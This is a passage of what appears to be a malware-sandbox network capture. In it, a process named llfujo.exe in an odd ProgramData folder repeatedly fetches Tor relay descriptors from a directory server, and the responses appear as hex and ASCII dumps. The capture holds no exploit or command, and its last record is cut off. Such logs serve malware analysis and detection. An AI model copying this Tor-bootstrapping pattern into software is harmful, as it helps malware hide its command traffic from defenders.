CERT-----AQQABxsdAV3l1MZbr4gOurDB8now0Qq5juEoyT98a9WmK6YBZcsLAQAgBADpbCeEt84evH5ZBNZnRoTFvI3qtc3wwuQAf/e3eYLyzDJOLYx8VmpTkeznzF1vwcQETujvf6lejyYt2f1qYPHFUYgr/5xN78bn1T1kXPhq3973/2oLeFrAQE/eFky/8wc=-----END ED25519 CERT-----master-key-ed25519 6WwnhLfOHrx+WQTWZ0aExbyN6rXN8MLkAH/3t3mC8swor-address [2a03:f80:48:37:235:48:247:1]:7654platform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 18:09:06fingerprint 1F20 77BF 01CA F23F 819D 4892 A898 8319 6ABA 842Auptime 712822bandwidth 655360 1073741824 5747876extra-info-digest 27D1F0C737076EF768AC33707BE54CCA4C16F716 Afp4u+II6nxl4ES7wrJ/UmeM9JhUynIFhFW1Chh6378onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAK0fK3lAQ6+kMvLSCKJLSR8ftu/D1fIhJfALjVcWQ8A11gU0G6SoF98jZBbhf9QN99rtAHXlybJItdL6xkBS4HvZv3IWiSS6UOxwRdi7rTLZHcd1YbPIGcJevAnyB9ZZcBMxWWePcJeEHb6tomEysqbvKQCLhec2qR8vXepHe1jbAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49731	24.53.51.144	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:01:37.859992027 CET	2820	OUT	GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0 Host: 24.53.51.144 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:01:40.097600937 CET	2821	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:01:39 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:01:39 GMT Data Raw: 72 6f 75 74 65 72 20 72 65 6c 61 79 6f 6e 31 31 37 33 20 31 38 35 2e 32 32 30 2e 31 30 31 2e 31 37 33 20 31 31 31 37 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 71 69 41 65 6d 66 33 75 62 51 54 33 38 38 76 52 30 4c 68 38 62 47 44 73 38 6e 63 76 54 30 46 78 39 34 66 66 62 31 67 6f 79 7a 39 5a 7a 73 41 51 41 67 42 41 43 4d 77 51 76 74 0a 33 6d 69 31 78 6c 73 65 4b 68 68 4d 35 77 43 4d 6f 52 4a 42 78 76 6f 48 65 76 70 4f 53 61 58 33 6e 71 2f 59 70 47 4e 78 75 56 33 44 79 41 76 67 30 57 73 35 41 5a 44 6f 77 52 69 5a 65 75 51 64 0a 37 6b 38 2b 6d 4b 36 6d 31 56 42 66 2f 7a 56 38 54 72 32 6b 58 5a 42 43 6c 4b 6b 57 54 4b 2f 63 33 6f 30 78 31 41 52 33 4d 51 52 68 2b 57 65 69 61 72 32 72 31 62 55 36 79 67 4d 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 6a 4d 45 4c 37 64 35 6f 74 63 5a 62 48 69 6f 59 54 4f 63 41 6a 4b 45 53 51 63 62 36 42 33 72 36 54 6b 6d 6c 39 35 36 76 32 4b 51 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 62 3a 66 34 63 32 3a 31 3a 3a 31 37 33 5d 3a 31 31 31 37 33 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 31 37 3a 34 35 3a 34 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 37 41 37 32 20 44 41 33 31 20 32 37 42 45 20 30 39 41 38 20 30 32 32 35 20 35 41 36 30 20 30 43 44 30 20 42 34 45 39 20 37 37 38 35 20 46 35 46 44 0a 75 70 74 69 6d 65 20 31 30 38 30 31 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 31 35 35 30 34 33 38 34 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 30 32 39 37 44 37 30 43 36 37 35 34 39 37 36 38 30 39 46 30 39 34 41 30 33 36 45 30 45 37 42 44 33 30 45 43 30 45 45 46 20 34 57 4d 51 6e 34 76 62 42 4e 66 45 46 4f 39 31 32 31 53 79 33 56 6a 79 2b 6c 4a 7a 69 4b 32 6e 6c 6e 4d 67 67 2f 31 6a 77 74 38 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 7a 4f 31 34 63 76 52 5a 52 4f 32 49 4e 57 67 54 57 70 6a 52 42 4e 64 52 37 66 76 71 45 36 6e 56 50 6e 73 43 32 46 42 52 4f 34 38 70 2f 79 52 7a 68 66 4d 51 43 57 0a 5a 6f 64 2f 54 76 77 76 63 33 70 59 32 70 66 4f 42 75 6a 73 32 38 6c 4c 51 66 32 57 65 4b 31 32 74 46 6f 4a 46 75 73 4b 37 76 32 41 42 61 76 2b 6d 39 31 2b 49 51 61 6b 51 66 78 6c 41 64 4d 66 0a 77 74 62 42 42 70 64 4f 39 62 4e 71 2b 47 6c 69 73 55 7a 43 36 51 58 4d 62 38 6f 71 6f 46 33 77 45 2b 4f 50 76 70 59 56 47 2f 4b 56 55 4d 6f 7a 79 76 75 48 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 Data Ascii: router relayon1173 185.220.101.173 11173 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxqiAemf3ubQT388vR0Lh8bGDs8ncvT0Fx94ffb1goyz9ZzsAQAgBACMwQvt3mi1xlseKhhM5wCMoRJBxvoHevpOSaX3nq/YpGNxuV3DyAvg0Ws5AZDowRiZeuQd7k8+mK6m1VBf/zV8Tr2kXZBClKkWTK/c3o0x1AR3MQRh+Weiar2r1bU6ygM=-----END ED25519 CERT-----master-key-ed25519 jMEL7d5otcZbHioYTOcAjKESQcb6B3r6Tkml956v2KQor-address [2a0b:f4c2:1::173]:11173platform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 17:45:48fingerprint 7A72 DA31 27BE 09A8 0225 5A60 0CD0 B4E9 7785 F5FDuptime 10801bandwidth 1073741824 1073741824 15504384extra-info-digest 0297D70C6754976809F094A036E0E7BD30EC0EEF 4WMQn4vbBNfEFO9121Sy3Vjy+lJziK2nlnMgg/1jwt8onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKzO14cvRZRO2INWgTWpjRBNdR7fvqE6nVPnsC2FBRO48p/yRzhfMQCWZod/Tvwvc3pY2pfOBujs28lLQf2WeK12tFoJFusK7v2ABav+m91+IQakQfxlAdMfwtbBBpdO9bNq+GlisUzC6QXMb8oqoF3wE+OPvpYVG/KVUMozyvuHAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49732	24.53.51.144	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:01:40.344760895 CET	2830	OUT	GET /tor/server/fp/32361a1efdf684daedc8ca64843767a395f9eace HTTP/1.0 Host: 24.53.51.144 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:01:41.959980011 CET	2831	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:01:41 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:01:41 GMT Data Raw: 72 6f 75 74 65 72 20 4c 6f 75 6b 61 6e 69 6b 6f 73 20 31 34 36 2e 30 2e 33 36 2e 32 31 20 39 30 30 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 74 79 41 64 45 48 64 53 49 4a 32 72 78 49 79 49 2f 78 48 30 4f 6e 44 47 57 4b 42 57 58 45 67 57 36 78 45 61 31 79 51 42 50 44 53 41 53 35 41 51 41 67 42 41 42 65 35 4a 31 6d 0a 79 57 32 4b 61 5a 6d 32 2f 6b 67 41 74 48 42 68 39 31 74 63 6c 77 59 70 63 44 57 42 78 68 30 78 69 67 38 4b 53 70 35 2b 32 44 69 59 6b 30 7a 7a 4a 51 7a 49 4e 58 6c 4e 4c 4e 65 6e 75 54 42 67 0a 41 39 72 32 50 74 74 62 68 2b 36 37 74 33 66 71 35 72 61 53 50 73 76 66 49 74 78 74 37 53 48 32 46 6a 76 2f 73 37 59 59 6a 32 50 4a 51 35 76 45 33 75 4e 62 4a 5a 78 6f 38 51 6b 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 58 75 53 64 5a 73 6c 74 69 6d 6d 5a 74 76 35 49 41 4c 52 77 59 66 64 62 58 4a 63 47 4b 58 41 31 67 63 59 64 4d 59 6f 50 43 6b 6f 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 30 36 3a 33 32 3a 30 39 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 33 32 33 36 20 31 41 31 45 20 46 44 46 36 20 38 34 44 41 20 45 44 43 38 20 43 41 36 34 20 38 34 33 37 20 36 37 41 33 20 39 35 46 39 20 45 41 43 45 0a 75 70 74 69 6d 65 20 32 32 35 30 38 35 36 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 33 35 31 30 31 35 33 37 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 36 41 44 37 45 30 31 42 45 31 30 31 42 30 38 34 36 37 35 45 41 46 43 42 41 33 44 38 41 38 30 45 30 38 42 35 31 41 36 43 20 54 75 5a 44 48 50 6d 74 48 56 65 56 61 4d 4e 37 68 68 77 35 43 79 39 44 67 65 66 71 61 51 35 49 66 4f 76 2b 32 61 70 4f 6a 37 38 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 31 52 72 61 61 62 39 6b 66 54 36 71 41 71 69 43 4f 7a 52 37 70 41 6e 4f 4d 7a 74 4c 41 39 37 63 37 41 2f 69 46 6c 4f 68 57 45 37 71 48 76 46 65 4b 36 45 78 5a 33 0a 66 55 44 38 2b 36 58 35 50 76 6a 44 51 54 5a 62 65 76 79 6e 76 4d 69 36 53 46 50 31 72 4a 2b 4c 41 66 57 42 43 64 34 64 51 6d 56 74 37 65 66 37 2f 51 67 4a 72 78 67 52 55 74 30 41 6b 35 58 77 0a 57 45 70 49 4d 61 47 38 71 76 2f 4f 70 51 68 68 68 5a 4d 4d 6f 50 64 69 51 41 32 4d 62 31 77 4d 4e 41 61 62 5a 75 38 6f 34 73 42 74 5a 75 7a 34 70 39 7a 31 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 2f 4a 5a 4c 6d 36 6a Data Ascii: router Loukanikos 146.0.36.21 9003 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxtyAdEHdSIJ2rxIyI/xH0OnDGWKBWXEgW6xEa1yQBPDSAS5AQAgBABe5J1myW2KaZm2/kgAtHBh91tclwYpcDWBxh0xig8KSp5+2DiYk0zzJQzINXlNLNenuTBgA9r2Pttbh+67t3fq5raSPsvfItxt7SH2Fjv/s7YYj2PJQ5vE3uNbJZxo8Qk=-----END ED25519 CERT-----master-key-ed25519 XuSdZsltimmZtv5IALRwYfdbXJcGKXA1gcYdMYoPCkoplatform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 06:32:09fingerprint 3236 1A1E FDF6 84DA EDC8 CA64 8437 67A3 95F9 EACEuptime 2250856bandwidth 1073741824 1073741824 35101537extra-info-digest 6AD7E01BE101B084675EAFCBA3D8A80E08B51A6C TuZDHPmtHVeVaMN7hhw5Cy9DgefqaQ5IfOv+2apOj78onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAN1Rraab9kfT6qAqiCOzR7pAnOMztLA97c7A/iFlOhWE7qHvFeK6ExZ3fUD8+6X5PvjDQTZbevynvMi6SFP1rJ+LAfWBCd4dQmVt7ef7/QgJrxgRUt0Ak5XwWEpIMaG8qv/OpQhhhZMMoPdiQA2Mb1wMNAabZu8o4sBtZuz4p9z1AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAM/JZLm6j

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.5	49733	24.53.51.144	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:01:42.580558062 CET	2838	OUT	GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0 Host: 24.53.51.144 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:01:43.443175077 CET	2839	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:01:43 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:01:43 GMT Data Raw: 72 6f 75 74 65 72 20 72 65 6c 61 79 6f 6e 31 31 37 33 20 31 38 35 2e 32 32 30 2e 31 30 31 2e 31 37 33 20 31 31 31 37 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 71 69 41 65 6d 66 33 75 62 51 54 33 38 38 76 52 30 4c 68 38 62 47 44 73 38 6e 63 76 54 30 46 78 39 34 66 66 62 31 67 6f 79 7a 39 5a 7a 73 41 51 41 67 42 41 43 4d 77 51 76 74 0a 33 6d 69 31 78 6c 73 65 4b 68 68 4d 35 77 43 4d 6f 52 4a 42 78 76 6f 48 65 76 70 4f 53 61 58 33 6e 71 2f 59 70 47 4e 78 75 56 33 44 79 41 76 67 30 57 73 35 41 5a 44 6f 77 52 69 5a 65 75 51 64 0a 37 6b 38 2b 6d 4b 36 6d 31 56 42 66 2f 7a 56 38 54 72 32 6b 58 5a 42 43 6c 4b 6b 57 54 4b 2f 63 33 6f 30 78 31 41 52 33 4d 51 52 68 2b 57 65 69 61 72 32 72 31 62 55 36 79 67 4d 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 6a 4d 45 4c 37 64 35 6f 74 63 5a 62 48 69 6f 59 54 4f 63 41 6a 4b 45 53 51 63 62 36 42 33 72 36 54 6b 6d 6c 39 35 36 76 32 4b 51 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 62 3a 66 34 63 32 3a 31 3a 3a 31 37 33 5d 3a 31 31 31 37 33 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 31 37 3a 34 35 3a 34 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 37 41 37 32 20 44 41 33 31 20 32 37 42 45 20 30 39 41 38 20 30 32 32 35 20 35 41 36 30 20 30 43 44 30 20 42 34 45 39 20 37 37 38 35 20 46 35 46 44 0a 75 70 74 69 6d 65 20 31 30 38 30 31 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 31 35 35 30 34 33 38 34 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 30 32 39 37 44 37 30 43 36 37 35 34 39 37 36 38 30 39 46 30 39 34 41 30 33 36 45 30 45 37 42 44 33 30 45 43 30 45 45 46 20 34 57 4d 51 6e 34 76 62 42 4e 66 45 46 4f 39 31 32 31 53 79 33 56 6a 79 2b 6c 4a 7a 69 4b 32 6e 6c 6e 4d 67 67 2f 31 6a 77 74 38 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 7a 4f 31 34 63 76 52 5a 52 4f 32 49 4e 57 67 54 57 70 6a 52 42 4e 64 52 37 66 76 71 45 36 6e 56 50 6e 73 43 32 46 42 52 4f 34 38 70 2f 79 52 7a 68 66 4d 51 43 57 0a 5a 6f 64 2f 54 76 77 76 63 33 70 59 32 70 66 4f 42 75 6a 73 32 38 6c 4c 51 66 32 57 65 4b 31 32 74 46 6f 4a 46 75 73 4b 37 76 32 41 42 61 76 2b 6d 39 31 2b 49 51 61 6b 51 66 78 6c 41 64 4d 66 0a 77 74 62 42 42 70 64 4f 39 62 4e 71 2b 47 6c 69 73 55 7a 43 36 51 58 4d 62 38 6f 71 6f 46 33 77 45 2b 4f 50 76 70 59 56 47 2f 4b 56 55 4d 6f 7a 79 76 75 48 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 Data Ascii: router relayon1173 185.220.101.173 11173 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxqiAemf3ubQT388vR0Lh8bGDs8ncvT0Fx94ffb1goyz9ZzsAQAgBACMwQvt3mi1xlseKhhM5wCMoRJBxvoHevpOSaX3nq/YpGNxuV3DyAvg0Ws5AZDowRiZeuQd7k8+mK6m1VBf/zV8Tr2kXZBClKkWTK/c3o0x1AR3MQRh+Weiar2r1bU6ygM=-----END ED25519 CERT-----master-key-ed25519 jMEL7d5otcZbHioYTOcAjKESQcb6B3r6Tkml956v2KQor-address [2a0b:f4c2:1::173]:11173platform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 17:45:48fingerprint 7A72 DA31 27BE 09A8 0225 5A60 0CD0 B4E9 7785 F5FDuptime 10801bandwidth 1073741824 1073741824 15504384extra-info-digest 0297D70C6754976809F094A036E0E7BD30EC0EEF 4WMQn4vbBNfEFO9121Sy3Vjy+lJziK2nlnMgg/1jwt8onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKzO14cvRZRO2INWgTWpjRBNdR7fvqE6nVPnsC2FBRO48p/yRzhfMQCWZod/Tvwvc3pY2pfOBujs28lLQf2WeK12tFoJFusK7v2ABav+m91+IQakQfxlAdMfwtbBBpdO9bNq+GlisUzC6QXMb8oqoF3wE+OPvpYVG/KVUMozyvuHAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	49734	24.53.51.144	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:01:43.673660994 CET	2848	OUT	GET /tor/server/fp/32364bef873944be481e8bcc7fae9297f5f39781 HTTP/1.0 Host: 24.53.51.144 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:01:45.224827051 CET	2850	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:01:44 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:01:44 GMT Data Raw: 72 6f 75 74 65 72 20 74 69 72 7a 20 35 31 2e 31 35 38 2e 39 36 2e 31 32 32 20 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 7a 56 41 61 63 35 56 78 44 46 51 79 33 78 56 6a 58 6d 33 64 66 30 38 47 4c 65 43 5a 51 73 52 57 4a 36 6e 62 79 67 37 47 57 59 4d 67 50 41 41 51 41 67 42 41 44 72 32 53 53 52 0a 34 35 6c 55 34 6d 43 58 74 4d 41 55 79 4c 2b 47 76 52 38 4b 6f 74 49 4e 39 58 62 53 67 4d 38 6f 34 75 4e 72 66 2b 7a 6b 61 78 4c 64 76 2f 47 32 35 69 58 33 77 67 78 6c 31 47 57 4c 47 55 78 35 0a 45 67 58 52 32 76 32 5a 46 7a 6a 43 65 6e 48 75 53 45 76 42 49 4c 66 57 35 71 6f 51 52 2b 54 39 4f 54 69 45 49 35 4a 4b 44 33 33 4f 67 38 64 33 56 72 4e 6a 32 6b 4a 62 45 51 34 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 36 39 6b 6b 6b 65 4f 5a 56 4f 4a 67 6c 37 54 41 46 4d 69 2f 68 72 30 66 43 71 4c 53 44 66 56 32 30 6f 44 50 4b 4f 4c 6a 61 33 38 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 32 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 32 31 3a 34 30 3a 31 33 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 33 32 33 36 20 34 42 45 46 20 38 37 33 39 20 34 34 42 45 20 34 38 31 45 20 38 42 43 43 20 37 46 41 45 20 39 32 39 37 20 46 35 46 33 20 39 37 38 31 0a 75 70 74 69 6d 65 20 36 36 32 37 35 38 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 32 34 30 39 34 35 30 37 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 34 35 32 35 33 46 35 39 42 35 30 39 34 37 33 32 38 45 38 38 33 45 36 44 44 44 35 38 39 46 34 36 30 34 45 34 42 39 34 46 20 66 51 63 68 47 6f 66 74 41 52 55 56 67 38 6f 6c 53 51 4c 34 39 62 79 33 48 61 45 6b 33 77 35 76 2f 6b 5a 33 6b 7a 49 48 70 6f 49 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 70 75 41 4f 6c 33 51 45 63 56 61 43 6e 73 43 6c 6d 72 2f 35 49 6e 33 50 47 58 61 50 6c 45 74 6a 75 53 2f 46 73 37 6f 54 35 43 69 50 64 4a 77 33 6c 65 58 67 6f 70 0a 53 59 6d 38 6d 79 46 79 5a 49 47 52 43 4c 30 45 67 30 67 52 48 71 53 77 51 44 65 41 30 35 46 51 59 43 35 68 38 76 51 50 69 42 47 74 6f 53 46 57 2b 41 67 46 6b 48 54 47 75 34 36 62 6b 53 2f 6e 0a 4f 70 61 6a 73 42 42 76 52 77 6e 49 4f 6e 68 4c 43 43 31 2f 57 57 30 71 4c 2b 4a 71 61 68 68 6d 70 50 54 79 77 36 4c 61 32 4c 69 50 78 39 78 76 49 6c 55 4a 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 31 68 4a 49 2f 4d 75 47 65 4b 59 72 6b Data Ascii: router tirz 51.158.96.122 443 0 0identity-ed25519-----BEGIN ED25519 